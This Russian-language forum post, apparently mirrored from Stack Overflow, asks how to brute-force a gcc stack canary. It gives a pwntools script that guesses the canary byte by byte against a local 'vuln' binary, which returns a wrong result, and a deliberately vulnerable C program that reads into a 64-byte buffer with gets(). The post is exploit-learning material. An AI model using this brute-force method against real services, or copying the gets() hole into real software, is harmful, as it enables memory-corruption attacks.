Как перебрать стек канарейкуPython

Программы на Python
Ответить
Anonymous
 Как перебрать стек канарейку

Сообщение Anonymous »

gcc реализовал защиту стека, чтобы защитить программы от переполнения буфера. Я хочу знать, возможно ли (и если да, то как) воспользоваться этим и запустить переполнение буфера. Я создал простой скрипт Python, который должен перебрать канарейку:

from pwn import *
import os

canary = ""
byte = 0x00

def brute():
global canary
global byte
while byte != 0xff:
p = process("./vuln")
p.sendline("A"*64 + canary + chr(byte))
reply=p.recvall()
if "***" in reply:
byte += 1
else:
canary += chr(byte)
byte = 0x00
break

brute()
brute()
brute()
brute()
print "Canary: \\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)


Результат: Канарейка: \x0a\x00\x00\x00 и это явно не канарейка.

Двоичный файл раньше я хакал:

#include
#include
#include

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

modified = 0;
gets(buffer);

if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}



Подробнее здесь: https://stackoverflow.com/questions/588 ... ack-canary
Ответить

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

Вернуться в «Python»